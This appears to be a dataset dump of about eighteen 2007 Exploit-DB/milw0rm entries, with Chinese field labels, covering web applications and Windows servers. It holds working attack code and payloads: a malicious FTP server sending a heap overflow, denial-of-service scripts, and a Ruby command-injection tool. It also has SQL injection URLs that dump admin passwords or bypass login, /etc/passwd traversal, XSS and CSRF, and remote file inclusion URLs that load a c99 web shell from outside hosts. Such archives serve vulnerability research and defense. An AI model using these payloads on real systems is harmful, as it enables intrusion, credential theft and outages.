QLWD/code_shield huggingface dataset:
标题: WFTPD Explorer Pro 1.0 - Remote Heap Overflow (PoC) EDB-ID: 4742 CVE: 2007-6473 类型: DOS 平台: WINDOWS 发布日期: 2007-12-18 漏洞利用脚本: ##########################################
#  WftpdExpPro_HeapPoC.py                #
#  Discovered by r4x (Kamil Szczerba)    #
#                      [r4xks@o2.pl]     #
##########################################
# Soft    : WFTPD Explorer Pro 1.0       #
# Vendor  : Texas Imperial Software      #
# Vuln    : Heap Overwlow (Res: LIST)    #
# Exploit : PoC Reg Overwrite            #
##########################################
# Reg:                                   #
#  EAX = 41414141                        #
#  ECX = 41414141                        #
#  EDX = 00a57b38 ASCII "AAAA..."        #
#  ESI = 00a57b30 ASCII "AAAA..."        #
#  ------------------------------        #
#  EIP = 7c91142E                        #
#                                        #
#  Exception c0000005 (ACCES_VIOLATION)  #
#                                        #
# MOV DWORD PTR DS:[ECX],EAX    ; HEHE   #
# MOV DWORD PTR DS:[EAX +4] ECX ;        #
#                                        #
# Test on: WinXPsp2 Polish    #
#                                        #
##########################################




from socket import *

heapb0f = "A" * 1200 + "r\n"

req = (
        "USER",
        "PASS",
        "TYPE",
        "PWD",
        "PASV",
        "LIST"
        )
        
res = (
        "331 Password required.\r\n",
        "230 User logged in.\r\n",
        "200 Type set to I.\r\n",
        "257 '/' is current directory.\r\n",
        "227 Entering Passive Mode (127,0,0,1,100,100).\r\n",
        "150 Opening ASCII mode data connection for file list.\r\n",
        )

def parser(buff):

    cmd  = buff.split("\x20")[0]
    cmd1 = buff.split("\r\n")[0]
    if len(cmd) > len(cmd1):
     cmd = cmd1

    for i in range(len(req)):
        if req[i] == cmd:
            return res[i]
    
def multiserv(port1, port2):

    control = socket(AF_INET, SOCK_STREAM)
    control.bind(('', port1))
    control.listen(1)
    
    trans =  socket(AF_INET, SOCK_STREAM)
    trans.bind(('', port2))
    trans.listen(1)

    while(1):
        cclient, caddr = control.accept()
        print "[*] Connected: ", caddr
        cclient.send("220 Welcome: Evil Secure FTPD 1.666\r\n")
        
        while(1):
            
            r0 = cclient.recv(1024)
            print "[>] Input: %s" % (r0)
            r1 = parser(r0)
            if r1 == None:
                r1 = "502 Command not implemented.\r\n"
            cclient.send(r1)
            print "[<] Output: %s" % (r1)
            if r1 == res[4]:
                print "[*] Data mode\n"
                tclient, taddr = trans.accept()
                print "[*] Connected: ", taddr
            if r1 == res[5]:
                print "[*] b00mb!"
                tclient.send(heapb0f)
                print "[*] done"
                break
 break
                
                
                


multiserv(21, 25700)

# milw0rm.com [2007-12-18] URL: https://www.exploit-db.com/exploits/4742
标题: Surgemail 38k4 - webmail Host header Denial of Service EDB-ID: 4748 CVE: 2007-6457 类型: DOS 平台: WINDOWS 发布日期: 2007-12-18 漏洞利用脚本: <?php
/*
  SurgeMail v.38k4 webmail Host header denial of service exploit
  tested against the windows version

  rgod
*/

dl("php_curl.so");
$url = "http://192.168.0.1";
$puf=str_repeat(0xff,0xfff);

        $header ="POST / HTTP/1.0\r\n";
        $header.="Host: $puf\r\n";
        $header.="Connection: Close\r\n\r\n";
      
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL,$url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, 0);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $header);

        $data = curl_exec($ch); if (curl_errno($ch)) {
           print curl_error($ch)."\n";
        } else {
           curl_close($ch);
        }

?>

# milw0rm.com [2007-12-18] URL: https://www.exploit-db.com/exploits/4748
标题: PHP Real Estate - 'fullnews.php?id' SQL Injection EDB-ID: 4737 CVE: 2007-6462 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-14 漏洞利用脚本: --==+================================================================================+==--
--==+            PHP Real Estate SQL Injection Vulnerbilitys              +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: http://phprealestatescript.com
DORK: "Browse with Interactive Map"


DESCRIPTION: 
pull admin info from database


EXPLOITS:
www.site.com/fullnews.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,char(58),password),4,5/**/FROM/**/admin/*


NOTE/TIP: 
admin login is at /admin/


GREETZ: milw0rm.com, h4ck-y0u.org !


--==+================================================================================+==--
--==+            PHP Real Estate SQL Injection Vulnerbilitys              +==--
--==+================================================================================+==--

# milw0rm.com [2007-12-14] URL: https://www.exploit-db.com/exploits/4737
标题: Oreon 1.4 / Centreon 1.4.1 - Multiple Remote File Inclusion Vulnerabilities EDB-ID: 4735 CVE: 2007-6485 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-14 漏洞利用脚本: By Michael Brooks
Vulnerability Type: Multiple Remote File Inclusion.
Software: Oreon and Centreon
Homepage:http://www.oreon-project.org/  or http://www.centreon.com/
Versions: 1.4(Oreon) and 1.4.1(Centreon)

The vulnerable file is:
./oreon-1.4/www/include/monitoring/engine/MakeXML.php
Another,virtually identical RFI:
./oreon-1.4/www/include/monitoring/engine/MakeXML4statusCounter.php

The attack:
http://127.0.0.1/include/monitoring/engine/MakeXML.php?fileOreonConf=http://evilurl/backdoor.txt?
or
http://127.0.0.1/include/monitoring/engine/MakeXML4statusCounter.php?fileOreonConf=http://evilurl/backdoor.txt?

file MakeXML.php line 42 & 43:
 include_once($oreonPath . "www/oreon.conf.php");
 include_once($oreonPath . "www/include/common/common-Func-ACL.php");

Register_globals isn't needed for the taint:
file MakeXML.php line 28:
 if (isset($_GET["fileOreonConf"]))
  $oreonPath = $_GET["fileOreonConf"];

However magic_quotes_gpc is require for LFI because you need a null byte. 

Peace

# milw0rm.com [2007-12-14] URL: https://www.exploit-db.com/exploits/4735
标题: gf-3xplorer 2.4 - Cross-Site Scripting / Local File Inclusion EDB-ID: 4738 CVE: 2007-6476 2007-6475 2007-6474 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-18 漏洞利用脚本: ---------------------------------------------------------------
 ____            __________         __             ____  __   
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_ 
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |  
 |___|___|  /\__|  /______  /\___  >__|            |___||__|  
          \/\______|      \/     \/                           
---------------------------------------------------------------

Http://www.inj3ct-it.org     Staff[at]inj3ct-it[dot]org 

---------------------------------------------------------------

 Local File Inclusion & Full Path Discolusure

---------------------------------------------------------------

# Author: MhZ91 nobody.91@hotmail.it 

# Download script: http://sourceforge.net/projects/gf-3xplorer/

# magic_quotes_gpc = Off

# Exploit 

# http://[site]/[path]/updater.php?lang_sel=[LFI]%00

# http://[site]/[path]/thumber.php?lang_sel=[LFI]%00

---------------------------------------------------------------

# Xss

# http://[site]/[path]/index_3x.php?newdir=">[Xss]

# And other more..

---------------------------------------------------------------

# phpinfo(); View

# http://[site]/GF-3XPLORER/explorer/phpinfo.php

---------------------------------------------------------------

# milw0rm.com [2007-12-18] URL: https://www.exploit-db.com/exploits/4738
标题: Form Tools 1.5.0b - Multiple Remote File Inclusions EDB-ID: 4736 CVE: 2007-6464 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-14 漏洞利用脚本: # Name : Form tools 1.5.0b Remote File Include
# Download From : http://www.formtools.org/download.php
# Found By : RoMaNcYxHaCkEr
# Home Page : Not Yet :(
============================================================================
# Vulne Code In Files admin_page_open.php & client_page_open.php In Line 3 :
<?php
    require("$g_root_dir/global/templates/admin_nav.php");
    ?>
<?php
    require("$g_root_dir/global/templates/client_nav.php");
    ?>
 

# Exploit:
www.RxH.com/FormTools1_5_0/global/templates/admin_page_open.php?g_root_dir=http://no-hack.fr/shells/c99.txt?
And Here
www.RxH.com/FormTools1_5_0/global/templates/client_page_open.php?g_root_dir=http://no-hack.fr/shells/c99.txt?
============================================================================
# Greet To :
Cold Z3ro My Master (Hackteach.org)
Hack15 TeaM (V99x.com)
Sniper-Sa (Sniper-sa.com)
Tryag TeaM (Tryag.com)
Yee7 TeaM (Yee7.com)
H-T TeaM (no-hack.fr)
Str0ck
My5ql Team
Also: Saudi Kafo , Adel Alroh , Mr-Google , Kill eye And All My Friends
# For Contact : RxH@HotMail.iT
Best Wishes

# milw0rm.com [2007-12-14] URL: https://www.exploit-db.com/exploits/4736
标题: xml2owl 0.1.1 - 'filedownload.php' Remote File Disclosure EDB-ID: 4729 CVE: 2007-6322 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-13 漏洞利用脚本: xml2owl 0.1.1 (filedownload.php) Remote File Disclosure Vulnerability
D.s : http://surfnet.dl.sourceforge.net/sourceforge/xml2owl/xml2owl-0.1.1.tar.bz2
POC :
     /xml2owl-0.1.1/filedownload.php?file=config.inc.php
     /xml2owl-0.1.1/filedownload.php?file=../../../../../../../etc/passwd

# milw0rm.com [2007-12-13] URL: https://www.exploit-db.com/exploits/4729
标题: CityWriter 0.9.7 - 'head.php' Remote File Inclusion EDB-ID: 4726 CVE: 2007-6324 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-13 漏洞利用脚本: # Name : CityWriter 0.9.7 Remote File Include
# Download From :
http://download.hulihanapplications.com/citywriter/citywriter-0.97.zip
# Found By : RoMaNcYxHaCkEr
# Home Page : Not Yet :(
============================================================================
# Vulne Code In File head.php In Line 1:
<? include($path."topbar.php"); ?>
# Exploit :
Www.RxH.com/citywriter/head.php?path=http://www.no-hack.fr/shells/c99.txt?
============================================================================
# Greet To :
Cold Z3ro My Master (Hackteach.org)
Hack15 TeaM (V99x.com)
Sniper-Sa (Sniper-sa.com)
Tryag TeaM (Tryag.com)
Yee7 TeaM (Yee7.com)
My5ql Team
Also: Saudi Kafo , Adel Alroh , Mr-Google , Kill eye , Dr- Wolf4ever And All My Friends
# For Contact : RxH@HotMail.iT
Best Wishes

# milw0rm.com [2007-12-13] URL: https://www.exploit-db.com/exploits/4726
标题: Anon Proxy Server 0.1000 - Remote Command Execution EDB-ID: 4734 CVE: 2007-6459 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-14 漏洞利用脚本: By Michael Brooks
Vulnerability type: Multiple Remote System commands execution. 
Software: Anon Proxy Server
Home page:http://sourceforge.net/projects/anonproxyserver/
Affects version: 0.100

Example exploit:
http://127.0.0.1/anon_proxy_server_0.100/diagdns.php?host=google.com%5C%27+%26%26+cat+%2Fetc%2Fpasswd+%23

A virtually identical flaw exists in diagconnect.php however it takes longer to execute.

Anon Proxy Server forces magic_quotes_gpc=on,  However magic_quotes_gpc does not protect the system()  function from taint.  For protection you should use the escapeshellarg() function. Removing diagdns.php and diagconnect.php is the best temporary solution.  Also magic_quotes_gpc is being removed in php6,  so Anon Proxy Server will have to revamp there security. 

Peace

# milw0rm.com [2007-12-14] URL: https://www.exploit-db.com/exploits/4734
标题: Mms Gallery PHP 1.0 - 'id' Remote File Disclosure EDB-ID: 4728 CVE: 2007-6323 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-13 漏洞利用脚本: MMS Gallery in PHP v1.0 (id) Remote File Disclosure Vulnerability
D.Script : http://www.mms2web.com/mms_gallery_php.zip
POC :
      /mms_template/get_image.php?id=../../../../../../../../etc/passwd
      /mms_template/get_file.php?id=../../../../../../../../etc/passwd

# milw0rm.com [2007-12-13] URL: https://www.exploit-db.com/exploits/4728
标题: 123tkShop 0.9.1 - Remote Authentication Bypass EDB-ID: 4733 CVE: 2007-6458 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-14 漏洞利用脚本: By Michael Brooks
Vulnerability:Sql Injection 
Software:123tkShop
Homepage:http://sourceforge.net/projects/my123tkshop/
Affects Version 0.9.1. 

An attacker can gain Administrative rights with this authentication bypass exploit:
http://127.0.0.1/123tkShop/shop/admin.php?admin=J3VuaW9uIHNlbGVjdCAncGFzc3dvcmQnLyogOnBhc3N3b3Jk
The payload for the attack is constructed like this:
print base64_encode("'union select 'password'/* :password");

Vulneralbe code is in the ./123tkShop/shop/mainfile.php file in the is_admin function starting on line 156

The attack will work magic_quotes_gpc=On or off because of base64_decode()
The attack will also work with register_globals=Off or On because of mainfile.php line 42:
if (!ini_get("register_globals")) {
    import_request_variables('GPC');
}
Registering globals is dangerous. 

My advice is to use another shopping cart such as OsCommerce. 

An interesting side note is that this url http://127.0.0.1/123tkShop/shop/admin.php?admin=%22 will produce a message:
"I don't like you..."
Interesting sentence,  unfortunately for 123tkShop sentences do not defend against sql injection. 

Merry Christmas. 

# milw0rm.com [2007-12-14] URL: https://www.exploit-db.com/exploits/4733
标题: Fastpublish CMS 1.9999 - config[fsBase] Remote File Inclusion EDB-ID: 4725 CVE: 2007-6325 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-12 漏洞利用脚本: # Name : Fastpublish CMS 1.9999 (config[fsBase]) Remote File Include
# Download From : http://www.fastpublish.org/aufbau/php_content/downloadlist.php?action=download&id=53&sprache=en
# Found By : RoMaNcYxHaCkEr
# Home Page : Not Yet :(
============================================================================
# Vulne Code In designconfig.php In Line 25 :
@include($config['fsBase']
# Exploit :
www.RxH.com/fastpublish_19999d_trial/adminbereich/designconfig.php?config[fsBase]=http://www.no-hack.fr/shells/c99.txt?

============================================================================
# Greet To :
Cold Z3ro My Master (Hackteach.org)
Hack15 TeaM (V99x.com)
Sniper-Sa (Sniper-sa.com)
Tryag TeaM (Tryag.com)
Yee7 TeaM (Yee7.com)
My5ql Team
Also: Saudi Kafo , Adel Alroh , Mr-Google , Kill eye , Dr- Wolf4ever And All My Friends
# For Contact : RxH@HotMail.iT
Best Wishes

# milw0rm.com [2007-12-12] URL: https://www.exploit-db.com/exploits/4725
标题: Mcms Easy Web Make - 'index.php?template' Local File Inclusion EDB-ID: 4719 CVE: 2007-6344 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-11 漏洞利用脚本: ---------------------------------------------------------------
 ____            __________         __             ____  __  
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  | 
 |___|___|  /\__|  /______  /\___  >__|            |___||__| 
          \/\______|      \/     \/                          
---------------------------------------------------------------
Http://www.inj3ct-it.org     Staff[at]inj3ct-it[dot]org 
---------------------------------------------------------------
  Local File Inclusion
---------------------------------------------------------------
# Author: MhZ91
# Title: Mcms Easy Web Make - Local File Inclusion
# Download: http://sourceforge.net/projects/easywebmake/
# Bug: Local File Inclusion
# Visit: http://www.inj3ct-it.org
---------------------------------------------------------------
Only If magic_quotes_gpc is Off
Exploit: http://[site]/modules/cms/index.php?template=[LFI]%00
Vuln Code: include"includes/$template/template.config.php";
---------------------------------------------------------------

# milw0rm.com [2007-12-11] URL: https://www.exploit-db.com/exploits/4719
标题: ViArt CMS/Shop/Helpdesk 3.3.2 - Remote File Inclusion EDB-ID: 4722 CVE: 2007-6347 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-11 漏洞利用脚本: # Name : ViArt CMS 3.3.2 Remote File Include
# Download From : http://www.viart.com/downloads/viart_cms-3.3.2.zip
# Found By : RoMaNcYxHaCkEr
# Home Page : Not Yet :(
============================================================================
# Vulne Code : Line 4 :
include_once($root_folder_path . "includes/navigator.php");
# Exploit :
www.RxH.com/viart_cms-3.3.2/blocks/block_site_map.php?root_folder_path=http://no-hack.fr/shell/c99.txt?
============================================================================
# Greet To :
Cold Z3ro My Master (Hackteach.org)
Hack15 TeaM (V99x.com)
Sniper-Sa (Sniper-sa.com)
Tryag TeaM (Tryag.com)
Yee7 TeaM (Yee7.com)
My5ql Team
Also: Saudi Kafo , Adel Alroh , Mr-Google , Kill eye And All My Friends
# For Contact : RxH@HotMail.iT

# milw0rm.com [2007-12-11] URL: https://www.exploit-db.com/exploits/4722
标题: Falt4 CMS rc4 10.9.2007 - Multiple Vulnerabilities EDB-ID: 4711 CVE: 2007-6311 2007-6310 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-10 漏洞利用脚本: H - Security Labs
    Falt4 CMS (RC4 10.9.2007) Security Report /Advisory
    ID : HSEC#20071012

General Information
--------------------------
Name                           : Falt4Extreme CMS (RC4 10.9.2007)
Vendor HomePage       :http://sourceforge.net/projects/falt4/
Platforms                     : PHP && MySQL
Vulnerability Type       : Input Validation Errors
Disclosure Timeline
-------------------------
04 December  2007  -- Vendor Contacted 
04 December  2007  -- Vendor Replied
05 December  2007  -- Fix Released 
10 December  2007  -- Pulic Disclosure

What is Falt4Extreme
------------------------
Falt4 CMS is a business approved Content Management System (CMS) under the LGPL. The CMS is feature-rich and has a clean administration area. The ultimate CMS with functions for the professional, usable by everyone.CMS modules are available.
Overview of Vulnerabilities
------------------------
The script is vulnerable to both of XSS and Blind SQL Injection attacks.
Details of Vulnerabilities
------------------------
1-Blind SQL Injection Vulnerability:
http://www.EXAMPLE.com/falt4/
index.php?handler=cat&nav_ID=1'%20and%20'1'='1
nav_ID parameter is not sanitized properly and can be used for Blind SQL Injection attacks.
2-Cross Site Scripting Vulnerabilities
i.http://www.EXAMPLE.com/falt4/
index.php?handler=>"><script>alert(3)</script>&nav_ID=1
Input passed to the 'handler' parameter is not sanitized properly before using and can be used by malicious people to perform XSS attacks.
ii .http://www.EXAMPLE.com/falt4/
modules/feed/feed.php?type=rss&lang=1&topic=>"><script>alert(2)</script>
Input passed to the 'topic' parameter is not sanitized properly before using and can be used by malicious people to perform XSS attacks.
Solution
-----------------------
Re-download falt4 from sourceforge:
http://downloads.sourceforge.net/falt4/falt4extreme.zip?use_mirror=osdn
Replace these files:
/yourfalt4/index.php
/yourfalt4/modules/feed.php
/yourfalt4/admin/index.php
-----------------------
The vulnerabilities found on 04 December 2007
by Mesut Timur <mesut@h-labs.org>
H - Security Labs , http://www.h-labs.org
Gebze Institue of Technology, Computer Engineering, http://www.gyte.edu.tr
References
-----------------------
Vendor Confirmation : http://sourceforge.net/forum/forum.php?forum_id=762931
Original Advisory        : http://www.h-labs.org/blog/2007/12/05/falt4_cms_security_report_advisory.html
http://sourceforge.net/projects/falt4/
http://www.h-labs.org

# milw0rm.com [2007-12-10] URL: https://www.exploit-db.com/exploits/4711
标题: Simple HTTPd 1.41 - '/aux' Remote Denial of Service EDB-ID: 4717 CVE: 2007-6326 类型: DOS 平台: WINDOWS 发布日期: 2007-12-11 漏洞利用脚本: #usage: poc.py host port

import socket
import sys

print "-----------------------------------------------------------------------"
print "Simple HTTPD 1.3 /aux Denial of Service\n"
print "url: http://shttpd.sourceforge.net\n"
print "author: shinnai"
print "mail: shinnai[at]autistici[dot]org"
print "site: http://shinnai.altervista.org"
print "-----------------------------------------------------------------------"

host = sys.argv[1]
port = long(sys.argv[2])

try:
   request =  "GET /aux HTTP/1.1\n\n"
   connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   connection.connect((host, port))
   connection.send(request)
except:
   print "Unable to connect. exiting."

# milw0rm.com [2007-12-11] URL: https://www.exploit-db.com/exploits/4717
标题: SquirrelMail G/PGP Encryption Plugin - 'deletekey()' Command Injection EDB-ID: 4718 CVE: 2005-1924 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-11 漏洞利用脚本: #!/usr/local/bin/ruby

puts"http://backdoored.net\n"
puts "SquirrelMail G/PG deletekey() command injection exploit\n"
puts "http://backdoored.net    Visit Us\n"
puts "Coded by Backdoored member.   \n" 
puts "--------------------------------------------------\n"

if ARGV[0] == nil && ARGV[1] == nil && ARGV[2] ==  nil && ARGV[3] == nil && ARGV[4] == nil && ARGV[5] == nil
puts "Usage: ./squ_xploit  hostname path port cookie command 0\n"
puts "if host using ssl use 1 instead of 0\n"
exit
end

require 'net/http'
require 'net/https'

host = ARGV[0].to_s
port = ARGV[2].to_i
cookie = ARGV[3].to_s
victim = Net::HTTP.new(host,port)
 if ARGV[3].to_i == 1
 puts "Entering SSL mode baby\n"
 victim.use_ssl = true
 end
command = ARGV[4].to_s
#path = '/sq/plugins/gpg/modules/keyring_main.php'
path = ARGV[1].to_s
data = "id=C5B1611B8E71C***&fpr= | " + command + "| &pos=0&sort=email_name&desc=&srch=&ring=all&passphrase=&deletekey=true&deletepair=false&trust=1"
pizza = "key=pYWrEbVTY%2Bc%3D; SQMSESSID=" + cookie;
headers = {
  'Cookie' => pizza,
  'Referer' => 'http://www.google.com',
  'Content-Type' => 'application/x-www-form-urlencoded'
}
resp, data = victim.post(path,data,headers)
puts 'Message = ' + resp.message
puts  'Code = ' + resp.code

resp.each {|key,val| puts key + ' = ' + val}
#puts data

# milw0rm.com [2007-12-11] URL: https://www.exploit-db.com/exploits/4718
标题: falcon CMS 1.4.3 - Remote File Inclusion / Cross-Site Scripting EDB-ID: 4712 CVE: 2007-6490 2007-6489 2007-6488 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-10 漏洞利用脚本: ---------------------------------------------------------------
 ____            __________         __             ____  __  
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  | 
 |___|___|  /\__|  /______  /\___  >__|            |___||__| 
          \/\______|      \/     \/                          
---------------------------------------------------------------
Http://www.inj3ct-it.org     Staff[at]inj3ct-it[dot]org 
---------------------------------------------------------------
  Multilple Remote File Inclusion - Permanent Xss
---------------------------------------------------------------
# Author: MhZ91
# Title: Falcon Series One - Multilple Remote File Inclusion + Permanent Xss
# Download: http://sourceforge.net/projects/falconcms/
# Bug: Multilple Remote File Inclusion + Permanent Xss
# Severity: High
# Visit: http://www.inj3ct-it.org
---------------------------------------------------------------
Exploit: http://[site]/sitemap.xml.php?dir[classes]=[Evil_Code]
Vuln code: @include_once ($dir['classes']."class.pages.php");
---------------------------------------------------------------
Exploit: http://[site]/errors.php?error=[Evil_Code]
Vuln code: <?include($_REQUEST["error"] . "/errors.php");?>
---------------------------------------------------------------
Permanent Xss at http://[site]/index.php?guestbook=v in the input gb_mail, gb_name and textarea gb_text your [Xss] and after the xss work here index.php?guestbook=v :p
---------------------------------------------------------------
Simple 1337 Csrf exploit:
<form name="form_change" action="http://[site]/index.php?admin=changepass" method="post">
<input type="hidden" name="f_pass" class="field" value="[YourPWD]" />
<input type="hidden" name="f_pass2" class="field" value="[YourPWD]" />
</form><script>document.form_change.submit()</script>
There is other more csrf and permanent xss.. 

# milw0rm.com [2007-12-10] URL: https://www.exploit-db.com/exploits/4712